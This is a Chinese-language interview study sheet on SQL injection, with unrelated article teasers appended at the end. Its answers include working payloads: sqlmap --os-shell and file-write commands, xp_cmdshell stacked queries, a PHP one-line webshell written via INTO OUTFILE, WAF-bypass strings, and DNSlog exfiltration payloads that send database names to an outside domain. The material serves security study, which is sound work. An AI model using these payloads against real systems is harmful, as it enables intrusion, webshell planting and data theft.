注入常考面试题总结

2023-09-18 14:43:16

1.如何突破注入时字符被转义?
 

宽字符注入、hex 编码绕过(尝试利用 ANSI 字符代码变体来达到目的 比如 " 号对应 chr(34) 是否成功取决于他本身程序是否也做了过滤.)
Chr(34),由 ASCII 码生成字符,34 就是双引号的 ASCII 码,Chr(34)等价于字符"(双引号)

 2.如何找出网站路径

1.通过报错' 和随便打点字母
        

2. baidu、google等查找搜索引擎site:限定域名搜索instert erro(带有错误)
3. 加载网址的默认路径或者配置文件或中间件配置文件
4.系统交互的shell            --os-shell   (会爆出路径)
   python2 sqlmap.py -u http://10.0.0.130:90/sql.php?id=1 --os-shell
5.通过sqlserver的dbowner相关语句
drop table black;create Table black(result varchar(7996) null, id int not null identity (1,1))--

  insert into black exec master..xp_cmdshell 'dir /s c:\1.aspx'--

 and (select result from black where id=4)>0--

 3.配置文件

 httpd.conf                           apache配置文件
 MetaBase.xml                     IIS配置文件
 php.ini                                 php配置信息
 my.ini                                   MYSQL配置文件

 4.对服务器文件进行读写操作(前提条件)

1.要知道远程web目录 需要mysql root权限
2.需要远程目录有写权限
3.需要数据库开启secure_file_priv 相当于secure_file_priv的值为空,不为空时不充许写入webshell (默认不开启,需要修改mysql.ini配置文件)

5.为何一个mysql数据库的站,只有一个80端口开放?

    1、更改了数据库端口,没有扫描出来。
    2、站库分离。(源代码和数据库在不同的主机)
    3、3306端口不对外开放 

6. sql注入的几种类型?

    union(联合)注入
    基于函数报错注入
    堆叠注入
    宽字节注入
    盲注 

 7.报错注入的函数有哪些?

    updatexml
    extractvalue
    floor

 8.延时(时间)注入如何来判断?

    基于布尔型SQL盲注、基于时间型SQL盲注、基于报错型SQL盲注
    基于布尔型SQL盲注:XXX' and ascii(substr(database(),1,1))=112#
    基于时间型SQL盲注:XXX' and sleep(x)#

 9.盲注和延时注入的共同点?

都是一个字符一个字符的判断

10.注入时可以不使用and 或or 或xor,直接order by 开始注入吗?

and/or/xor,前面的1=1、1=2步骤只是为了判断是否为注入点,如果已经确定是注入点那就可以省那步骤去。 

 11.如果网站get与post都做了防注入,还可以采用什么方式绕过

 Cookices注入绕过

 12.注入漏洞只能查账号密码?

最低权限都可以查找帐号和密码,如mssql sa权限可以获取系统权限,dbowner可以获取Webshell,public可以脱库;mysql root权限、知道网站的绝对路径、数据库my.ini配置文件secure_file_priv值为空时,就可以获取webshell并执行操作系统命令。

13.如何利用这个防注入系统拿shell?

在URL里面直接提交一句话,这样网站就把你的一句话也记录进数据库文件了这个时候可以尝试寻找网站的配置文件直接上菜刀链接。 

14.发现demo.jsp?uid=110 注入点,你有哪几种思路获取webshell,哪种是优选?
  

1. sqlserver拥有dbowner权限通过master..xp_cmd语句上传木马获取webshell 权限
2. mysql有写入权限的,构造联合查询语句使用union select ....into outfile上传一句话木马获取webshell 权限(mysql)
3.可以将查询的输出重定向,到系统的文件中,这样去写入WebShell 使用sqlmap –os-shell 原理和上面一种相同,来直接获得一个Shell,这样效率更高
4.sqlmap  --file-write   写一个文件传入系统,可以获取wenshell 权限(前提条件my.ini中的secure_file_priv=""要为空) 

 15.sqlmap,怎么对一个注入点注入?

1.如果是get注入,直接,sqlmap -u "注入点网址".
    python2 sqlmap.py -u http://10.0.0.130:90/sql.php?id=1 
2.如果是post注入,可以sqlmap –r "burp地址访问包”
    sqlmap.py -r post.txt -p
3.如果是cookie,X-Forwarded-For等,可以访问的时候,用burpsuite抓包,注入处用号替换,放到文件里,然后sqlmap -r "文件地址",记得加上—level 3参数
   python2 sqlmap.py -r e:\1.txt --level=3

16.以下链接存在sql 注入漏洞,对于这个变形注入,你有什么思路?

demo.do?DATA=AjAxNg== DATA有可能经过了base64 编码再传入服务器,所以我们也要对参数进行base64 编码才能正确完成测试 

17.sql注入写文件都有哪些函数?

 union select "<?php @eval($_POST['123']);?>",2 into outfile "C:\\phpStudy\\WWW\\123.php"+--+&Submit=Submit 

 18.SQL注入防护方法?

   1、涵数过滤,如!is_numeric涵数
    2、直接下载相关防范注入文件,通过incloud包含放在网站配置文件里面
    3、使用白名单来规范化输入验证方法
    4、采用PDO预处理
    5、使用Waf拦截

19.盲注if被过滤怎么绕过?

    如果and if被waf拦截,我们可以使用内联注释来绕过函数的检测
    xor /*!if*/(length(/*!database*//*!()*/)>=1,/*!sleep*//*!(1)*/,curdate())%23

 20.注入时,Waf过滤了逗号,如何绕过?

 在实际中如果我们在注入语句中有逗号就可能被拦截,这个时候我们可以用join来绕过
 mysql>user select _id,user,password from users union select 1,2,3;
 mysql> select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select 3)C);
下面代替上面

21.Sql 注入无回显的情况下,利用DNSlog,mysql 下利用什么构造代码,mssql 下又如何?

(1)没有回显的情况下,一般编写脚本,进行自动化注入。但与此同时,由于防火墙的存在,容易被封禁IP,可以尝试调整请求频率,有条件的使用代理池进行请求。

(2)此时也可以使用DNSlog 注入,原理就是把服务器返回的结果放在域名中,然后读取DNS 解析时的日志,来获取想要的信息。
(3)Mysql 中利用load_file() 构造payload
 ‘and if((select load_file(concat(‘\\\\’,(select database()),’.xxx.ceye.io\\abc’))),1,0)#

(4)Mssql 下利用master..xp_dirtree构造payload    DECLARE @host varchar(1024);SELECT @host=(SELECT   db_name())+’.xxx.ceye.io’;EXEC(‘master..xp_dirtree”\’+@host+’\foobar$”‘); 

 22.预编译能否100%防sql注入,如果不能,写一个

不能。
类似于宽字节注入
$pdo->query('SET NAMES gbk');$var = "\xbf\x27 OR 1=1 /*";$query = 'SELECT * FROM test WHERE name = ? LIMIT 1';$stmt = $pdo->prepare($query);$stmt->execute(array($var));
参数name是一串数组,PDO不会生效
 $dbh = newPDO("txf");
$name = $_GET['name'];
$stmt = $dbh->prepare('SELECT * FROM '. $name . ' where username = :username');
$stmt->execute( array(':username'=> $_REQUEST['username']));

 PDO对DDL不生效
 $stmt = $dbh->prepare('SELECT * FROM foo ORDER BY :userSuppliedData');

23.MySQL有哪些获取系统信息的函数

   Version()、user()、databases()、SCHEMA()(线程) 

更多推荐

数据库索引

一.索引的引用索引类似于一本书的目录,可以根据页码更快的查找到内容。索引可以加快访问数据库的速度二.索引的分类1.按表的列属性分类(1).普通索引:最基本的索引,没有任何限制;(2).唯一索引:索引列的值必须唯一,允许有空值。如果是组合索引,则列值的组合必须唯一;(3).主键索引:是一种特殊的唯一索引,一个表只能有一个

Golang代码漏洞扫描工具介绍——govulncheck

GolangGolang作为一款近年来最火热的服务端语言之一,深受广大程序员的喜爱,笔者最近也在用,特别是高并发的场景下,golang易用性的优势十分明显,但笔者这次想要介绍的并不是golang本身,而且golang代码的漏洞扫描工具,毕竟作为服务端的程序,安全性一直是一个不同忽视的地方Go安全团队在2022.09.0

基于Qt实现的可视化大屏监控

基于Qt实现的可视化大屏监控先上图基于Qt实现的可视化大屏监控总有人质疑QWidget实现不了炫酷的界面,其实QWidget已经很强大了,虽然很多效果没有现成的框架,所以比不上html5或者安卓这种,但是也能实现很多不错的效果了,而且在嵌入式设备上一样能达到这种效果,这是其他很多框架所不能实现的。本次大屏监控主要使用以

安达发APS|生产计划部门如何提升产量?

在当下制造业中,生产计划的制定和执行对于提高产量、降低成本、保证交货期等方面具有重要意义。随着科技的发展,越来越多的企业开始使用APS生产排程软件来优化生产计划,提高生产效率。本文将从以下几个方面介绍如何利用APS生产排程软件提升产量。1.需求预测与订单管理首先,企业需要对市场需求进行准确预测,以便合理安排生产计划。A

三、数学建模之非线性规划

1、定义2、例题matlan代码求解一、定义1.非线性规划(NonlinearProgramming,简称NLP)是一种数学优化问题的方法,它处理的目标函数或约束条件包含非线性项。与线性规划不同,非线性规划涉及到在非线性约束下寻找最优解。在许多领域都有广泛的应用,包括工程、经济学、物流、金融等。它可以用来解决各种实际问

Vue-01:MVVM数据双向绑定与Vue的生命周期

一、Vue介绍1.1什么是Vue?Vue是一个渐进式的JavaScript框架,用于构建用户界面。"渐进式"意味着Vue的设计理念是逐步增强应用的功能和复杂性,而不是一次性地引入所有功能。这使得开发者可以根据项目需求选择性地使用Vue的不同特性和功能。1.2Vue的优点Vue具有许多实际应用的优点,以下是其中一些:易学

全面了解SpringBoot拦截器

在本文中,我们将详细介绍SpringBoot中的拦截器,包括拦截器的概念、作用、实现方式、执行顺序、生命周期以及高级应用。最后,我们还将探讨拦截器的性能优化策略和常见问题。1.拦截器的概念和作用1.1什么是拦截器拦截器(Interceptor)是一种特殊的组件,它可以在请求处理的过程中对请求和响应进行拦截和处理。拦截器

前端代码规范

HTML编码规约(WC-HTML)-HTML编码规约前言本规约涉及HTML语言的编码风格、最佳实践。参与和反馈对规约有任何意见和建议,欢迎留言讨论:)1【推荐】使用2个空格缩进。统一使用2个空格缩进,不要使用4个空格或tab缩进:<!DOCTYPEhtml><html><head><title>Pagetitle</t

Rust中的结构体

专栏简介:本专栏作为Rust语言的入门级的文章,目的是为了分享关于Rust语言的编程技巧和知识。对于Rust语言,虽然历史没有C++、和python历史悠远,但是它的优点可以说是非常的多,既继承了C++运行速度,还拥有了Java的内存管理,就我个人来说,还有一个优点就是集成化的编译工具cargo,语句风格和C++极其相

rom修改----安卓系列机型如何内置app 如何选择so文件内置

系统内置app的需求在与各工作室对接中操作单中,很多需要内置客户特定的有些app到系统里,这样方便客户刷入固件后直接调用。例如内置apk去开机引导去usb调试默认开启usb安全设置等等。那么很多app内置有不同的反应。有的可以直接内置。有的需要加so才能解决我们先来看一张图片1---直接内置方法将需要的app直接放置系

应急响应LINUX&Windows

应急响应LINUX&Windowslinux文件名说明/etc/passwd用户信息文件/etc/crontab定时任务文件/etc/anacrontab异步定时任务文件/etc/rc.d/rc.local开机启动项/var/log/btmp登录失败日志,使用last命令查看/var/log/cron定时任务执行日志/

热文推荐